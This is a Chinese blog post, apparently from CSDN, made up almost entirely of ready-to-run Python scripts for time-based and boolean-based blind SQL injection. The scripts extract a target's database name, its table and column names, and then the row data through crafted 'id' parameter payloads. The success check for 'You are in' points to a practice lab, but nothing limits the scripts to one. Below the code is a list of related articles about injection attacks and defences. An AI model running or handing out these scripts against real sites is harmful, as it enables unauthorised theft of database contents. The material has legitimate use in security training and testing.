简单注入脚本

最新推荐文章于 2025-07-10 23:10:11 发布
最新推荐文章于 2025-07-10 23:10:11 发布
阅读量253 收藏
点赞数 1
CC 4.0 BY-SA版权
文章标签： 数据库 oracle
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/geniusad2/article/details/145622118

时间盲注

获取库

def inject_database(url):
    dataname = ''
    for i in range(1, 20):  
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = f"1' and if(ascii(substr(database(),{i},1))>{mid},sleep(2),0)-- "
            res = {"id": payload}
            start_time = time.time()
            try:
                r = requests.get(url, params=res, timeout=10)
            except requests.exceptions.Timeout:
                low = mid + 1
            except requests.exceptions.RequestException as e:
                print(f"请求失败：{e}")
                return None
            else:
                elapsed_time = time.time() - start_time
                if elapsed_time >= 2:
                    low = mid + 1
                else:
                    high = mid
            mid = (low + high) // 2
        if low == 32:
            break
        dataname += chr(low)
    print("数据库名:", dataname)
    return dataname

获取表
 

def inject_tables(url, database):
    tables = []
    for i in range(1, 20): 
        table_name = ''
        for j in range(1, 100):  
            low = 32
            high = 128
            mid = (low + high) // 2
            while low < high:
                payload = f"1' and if(ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='{database}' LIMIT {i-1},1),{j},1))>{mid},sleep(2),0)-- "
                res = {"id": payload}
                start_time = time.time()
                try:
                    r = requests.get(url, params=res, timeout=10)
                except requests.exceptions.Timeout:
                    low = mid + 1
                except requests.exceptions.RequestException as e:
                    print(f"请求失败：{e}")
                    return None
                else:
                    elapsed_time = time.time() - start_time
                    if elapsed_time >= 2:
                        low = mid + 1
                    else:
                        high = mid
                mid = (low + high) // 2
            if low == 32:
                break
            table_name += chr(low)
        if table_name:
            tables.append(table_name)
        else:
            break
    print("表名列表:", tables)
    return tables

获取列

def inject_columns(url, database, table):
    columns = []
    for i in range(1, 20):  
        column_name = ''
        for j in range(1, 100):  
            low = 32
            high = 128
            mid = (low + high) // 2
            while low < high:
                payload = f"1' and if(ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='{database}' AND table_name='{table}' LIMIT {i-1},1),{j},1))>{mid},sleep(2),0)-- "
                res = {"id": payload}
                start_time = time.time()
                try:
                    r = requests.get(url, params=res, timeout=10)
                except requests.exceptions.Timeout:
                    low = mid + 1
                except requests.exceptions.RequestException as e:
                    print(f"请求失败：{e}")
                    return None
                else:
                    elapsed_time = time.time() - start_time
                    if elapsed_time >= 2:
                        low = mid + 1
                    else:
                        high = mid
                mid = (low + high) // 2
            if low == 32:
                break
            column_name += chr(low)
        if column_name:
            columns.append(column_name)
        else:
            break
    print(f"表 {table} 的列名列表:", columns)
    return columns

获取数据

def inject_data(url, database, table, column):
    data = []
    for i in range(1, 100):  
        value = ''
        for j in range(1, 100):  
            low = 32
            high = 128
            mid = (low + high) // 2
            while low < high:
                payload = f"1' and if(ascii(substr((SELECT {column} FROM {database}.{table} LIMIT {i-1},1),{j},1))>{mid},sleep(2),0)-- "
                res = {"id": payload}
                start_time = time.time()
                try:
                    r = requests.get(url, params=res, timeout=10)
                except requests.exceptions.Timeout:
                    low = mid + 1
                except requests.exceptions.RequestException as e:
                    print(f"请求失败：{e}")
                    return None
                else:
                    elapsed_time = time.time() - start_time
                    if elapsed_time >= 2:
                        low = mid + 1
                    else:
                        high = mid
                mid = (low + high) // 2
            if low == 32:
                break
            value += chr(low)
        if value:
            data.append(value)
        else:
            break
    print(f"表 {table} 的列 {column} 数据:", data)
    return data

布尔盲注

获取库

def inject_database(url):
    dataname = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = f"1' and ascii(substr(database(),{i},1)) > {mid}-- "
            res = {"id": payload}
            try:
                r = requests.get(url, params=res)
            except requests.exceptions.RequestException as e:
                print(f"请求失败：{e}")
                return None
            if "You are in" in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if low == 32:
            break
        dataname += chr(low)
    print("数据库名:", dataname)
    return dataname

获取表

def inject_tables(url, database):
    tables = []
    for i in range(1, 20):
        table_name = ''
        for j in range(1, 20):
            low = 32
            high = 128
            mid = (low + high) // 2
            while low < high:
                payload = f"1' and ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='{database}' LIMIT {i-1},1),{j},1)) > {mid}-- "
                res = {"id": payload}
                try:
                    r = requests.get(url, params=res)
                except requests.exceptions.RequestException as e:
                    print(f"请求失败：{e}")
                    return None
                if "You are in" in r.text:
                    low = mid + 1
                else:
                    high = mid
                mid = (low + high) // 2
            if low == 32:
                break
            table_name += chr(low)
        if table_name:
            tables.append(table_name)
        else:
            break
    print("表名列表:", tables)
    return tables

获取列

def inject_columns(url, database, table):
    columns = []
    for i in range(1, 20):
        column_name = ''
        for j in range(1, 20):
            low = 32
            high = 128
            mid = (low + high) // 2
            while low < high:
                payload = f"1' and ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='{database}' AND table_name='{table}' LIMIT {i-1},1),{j},1)) > {mid}-- "
                res = {"id": payload}
                try:
                    r = requests.get(url, params=res)
                except requests.exceptions.RequestException as e:
                    print(f"请求失败：{e}")
                    return None
                if "You are in" in r.text:
                    low = mid + 1
                else:
                    high = mid
                mid = (low + high) // 2
            if low == 32:
                break
            column_name += chr(low)
        if column_name:
            columns.append(column_name)
        else:
            break
    print(f"表 {table} 的列名列表:", columns)
    return columns

获取数据

def inject_data(url, database, table, column):
    data = []
    for i in range(1, 20):
        value = ''
        for j in range(1, 20):
            low = 32
            high = 128
            mid = (low + high) // 2
            while low < high:
                payload = f"1' and ascii(substr((SELECT {column} FROM {database}.{table} LIMIT {i-1},1),{j},1)) > {mid}-- "
                res = {"id": payload}
                try:
                    r = requests.get(url, params=res)
                except requests.exceptions.RequestException as e:
                    print(f"请求失败：{e}")
                    return None
                if "You are in" in r.text:
                    low = mid + 1
                else:
                    high = mid
                mid = (low + high) // 2
            if low == 32:
                break
            value += chr(low)
        if value:
            data.append(value)
        else:
            break
    print(f"表 {table} 的列 {column} 数据:", data)
    return data
geniusad2
关注
python sql注入检测脚本_sql注入脚本
weixin_36484714的博客
02-09 1344
摘要本篇文章对原理的解释占据主要，输出的美化部分不做详细解释一. 成果展示假设我的数据库有这些那么通过sql注入把所有数据库的所有表所有字段和所有的内容查找出来 二. 原理对sql-labs的前四关有效，其实程序是根据sqli-lab的特点而不是像强大的工具sqlmap一样可以完全实现sql注入，而今天的核心就在于三个表达式select * from users where id='-1' uni...
Web安全攻防：从SQL注入到XSS跨站脚本实战
shejizuopin的博客
04-13 676
SQL注入和XSS跨站脚本攻击是Web应用中最常见的两种安全漏洞。为了有效防范这些攻击，开发者需要深入了解其原理和危害，并采取多种防御策略进行综合防护。在实际项目中，建议结合具体业务需求和环境配置，选择最适合的防御方案，并持续监控和更新系统以应对新型攻击手法。通过本文的实战分析，希望开发者能够更全面地了解SQL注入和XSS攻击，并掌握有效的防御技巧，为Web应用的安全保驾护航。
网页脚本注入执行工具，任意删除、注入、执行网页脚本
02-24
软件使用内部浏览器打开网页，然后可注入任意脚本并执行。 注意：所有脚本都是在本地客户端执行。 比如：网页上的按钮为不可用状态，可以轻松改为可以点击的状态
注入脚本
weixin_34067102的博客
05-22 852
转载于:https://www.cnblogs.com/AtesetEnginner/p/10906975.html
脚本注入
qq_19550657的博客
03-08 1298
https://cart.jd.com/gate.action?pid=100018640844&pcount=1&ptype=1 加入购物车， 点击结算，提交订单。 https://marathon.jd.com/seckill/seckill.action?skuId=100018640844&num=1&rid=1614914986 抢购连接：https://marathon.jd.com/seckill/seckill.action?skuId=10001864.
javascript 注入脚本
weixin_36491999的博客
06-29 1177
代码示例相关视频讲解：数组-Go代码演示JavaScript 注入脚本：了解概念和应用 JavaScript 注入脚本是一种常用的网络安全攻击方式，也是网站开发中常见的技术。通过注入恶意的 JavaScript 代码，攻击者可以在用户浏览器中执行任意脚本，从而获取用户的敏感信息或者控制用户的浏览器。在这篇文章中，我们将介...
js注入
瞬间空白的博客
10-23 1141
原文链接：http://www.jb51.net/article/92639.htm 最近刚出了新闻，阿里四名网络安全部门员工利用网页漏洞写js脚本抢月饼，于是兴致来了，想了解一下这个js脚本到底怎么写，各种刷单各种抢枪抢又是怎么实现的。  什么是javascript注入攻击？ 1.每当接受用户输入的内容并重新显示这些内容时，网站就很容易遭受 JavaScript 注入攻击。让我们研
Java如何防止JS脚本注入代码实例
10-14
在Web应用中，防止跨站脚本（Cross-Site Scripting, XSS）注入是一项重要的安全措施。XSS攻击可以允许攻击者在用户的浏览器中执行恶意脚本，从而窃取用户信息、进行钓鱼攻击或进行其他恶意操作。在Java开发中，可以...
asp中一段防SQL注入的通用脚本
10-30
以上介绍的这段脚本是ASP中一种简单的防御SQL注入的方法。虽然它能够有效地识别并阻止一些基本的SQL注入尝试，但在实际部署中还需结合其他更全面的安全措施，例如参数化查询、存储过程以及输入验证等技术，共同构建...
测试脚本注入.docx
09-06
测试脚本注入是一种安全测试方法，用于检测应用程序是否存在脚本注入漏洞。脚本注入攻击通常发生在Web应用程序中，攻击者能够通过输入恶意脚本代码，使应用在执行时把这些代码解释为可执行脚本，从而可能导致数据...
网页js脚本注入，可执行任意代码。
11-01
网页js脚本注入，可执行任意代码。这里有个实例教程，通过注入实现跳过验证码。
gwt-si:GWT脚本注入器
05-07
gwt-si GWT脚本注入器 定制链接程序和EntryPoint实施，负责加载gwt.xml文件中引用的脚本。 使用xsiframe链接器时很有用。 笔记 链接器获取所有脚本引用，默认情况下将其从ArtifactSet中删除，并将它们放置在json文件中，因此不需要'xsiframe.failIfScriptTag' 入口点读取文件，然后使用ScriptInjector类将其加载到网页中。 遵守__gwt_scriptsLoaded合同。 触发__gwtStatsEvents。 目前不支持ajax预加载。 入门： 导入和扩展“ ScriptInjectorEntry”，而不是实现“ EntryPoint” 将“ onModuleLoad”更改为“ onScriptLoad” （可选）将一些独立于第三方脚本的仅GWT初始化移动到onBeforeScriptLoad（如设置UE
Hook脚本注入动态库
05-25
XcodeHook其他app的脚本软件,可以快速修改签名信息,完成重签名
防SQL注入脚本防SQL注入脚本
11-26
防SQL注入脚本防SQL注入脚本防SQL注入脚本防SQL注入脚本防SQL注入脚本防SQL注入脚本防SQL注入脚本防SQL注入脚本防SQL注入脚本防SQL注入脚本防SQL注入脚本防SQL注入脚本防SQL注入脚本防SQL注入脚本防SQL注入脚本防SQL注入脚本防SQL注入脚本
脚本注入和防范
wangleide414的专栏
01-04 2604
概念：脚本注入也叫数据库注入，SQL注入（SQL ingection）是通过把SQL命令插入Web表单递交或输入域名，页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令的一种攻击方式。   脚本注入产生的根本原因是因为数据库与脚本系统的交互审核不严，而脚本注入的原理就是通过脚本系统来提交特定的数据库查询语言，达到获取数据库查询，修改，更新，删除权限的一   个过程。   注入...
简单的注入脚本
09-04 609
凉凉，数据结构没学好，二分法都忘了 典型二分法 思路 数据（data)为升序排序，要在data中寻找定值key 从中间的 data[mid]开始寻找 key大于data[mid] : 从data[mid+1]~data[end] key小于data[mid] : 从data[start]~data[mid-1] key等于data[mid] : 结束 [CISCN2019 华...
SQL 注入脚本学习笔记
二进制的博客
10-11 1465
什么是SQL注入，如何理解SQL注入是一种将sql代码添加到输入参数中，传递到sql服务器解析并执行的一种攻击手法expxxx.action?id=1 此时可以在id后加入sql语句进行注入 xxx.action?id=-1 or 1=1 此时查询的信息就是所有的信息SQL注入是怎么产生的？ web开发人员无法保证所有的输入都已经过滤 攻击者利用发送给sql服务器的输入数据构造可执行的sql代
脚本注入网页
最新发布
rasssel的博客
07-10 409
指攻击者向网页中注入恶意脚本代码（通常是 JavaScript），当用户浏览网页时，这些脚本会在用户浏览器中执行，达到窃取信息、劫持会话、跳转钓鱼等攻击目的。
xss攻击注入脚本
07-01
### XSS攻击原理与注入脚本方式 XSS（跨站脚本攻击）是一种常见的Web安全漏洞，攻击者通过在网页中嵌入恶意脚本代码，当其他用户浏览该页面时，这些代码会在用户的浏览器上执行。这种攻击通常利用了网站对用户输入的验证不足或过滤不严的问题。 #### 注入脚本的方式 1. **反射型XSS**：攻击者将恶意脚本作为URL参数的一部分发送给受害者，如果服务器没有正确处理这些参数，就会将其直接返回给用户的浏览器并执行。 2. **存储型XSS**：恶意脚本被存储到服务器端，例如数据库中，然后在用户请求相关页面时自动加载和执行。 3. **DOM型XSS**：前端JavaScript动态修改文档对象模型（DOM）时，如果未经过滤或转义就直接使用用户提供的数据，则可能导致恶意代码被执行[^1]。 ### 攻击原理详解 - 在正常情况下，Web应用程序应该确保所有来自用户的输入都经过适当的清理和验证，以防止任何潜在的危害。 - 然而，在存在漏洞的情况下，攻击者可以构造特殊的输入，比如包含`<script>`标签或其他可执行代码的内容，来绕过简单的过滤机制。 - 一旦这样的输入被呈现给另一个用户的浏览器，它就可以访问cookie、会话令牌或者其他敏感信息，并可能代表用户执行操作[^2]。 ### 防御方法 为了有效防御XSS攻击，需要采取多层防护策略： 1. **输入验证**：对于所有用户提交的数据进行严格的校验，拒绝不符合规范的数据。 2. **输出编码**：根据不同的上下文环境（HTML, URL, JavaScript等），采用相应的编码方式对数据进行转换后再显示。 3. **内容安全策略 (CSP)**：设置HTTP头`Content-Security-Policy`来限制哪些来源的脚本能够被执行，从而阻止内联脚本和未知外部资源的加载。 4. **使用框架/库的安全特性**：许多现代Web开发框架内置了针对XSS的保护措施，如AngularJS中的自动转义功能。 5. **避免直接操作DOM**：特别是在处理不可信数据时，尽量减少使用原始的DOM操作方法，改用更安全的API或者模板引擎。 6. **定期更新依赖项**：保持所有第三方组件最新，及时修补已知的安全问题。 ```python # 示例 - Python Flask应用中如何对用户输入进行HTML转义 from flask import Flask, escape app = Flask(__name__) @app.route('/greet/<name>') def greet(name): # 使用escape函数确保name变量中的特殊字符被正确转义 safe_name = escape(name) return f'<h1>Hello, {safe_name}!</h1>' ``` 通过实施上述措施，可以大大降低遭受XSS攻击的风险。重要的是要认识到没有任何单一的技术能完全消除风险，因此综合运用多种技术是关键。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值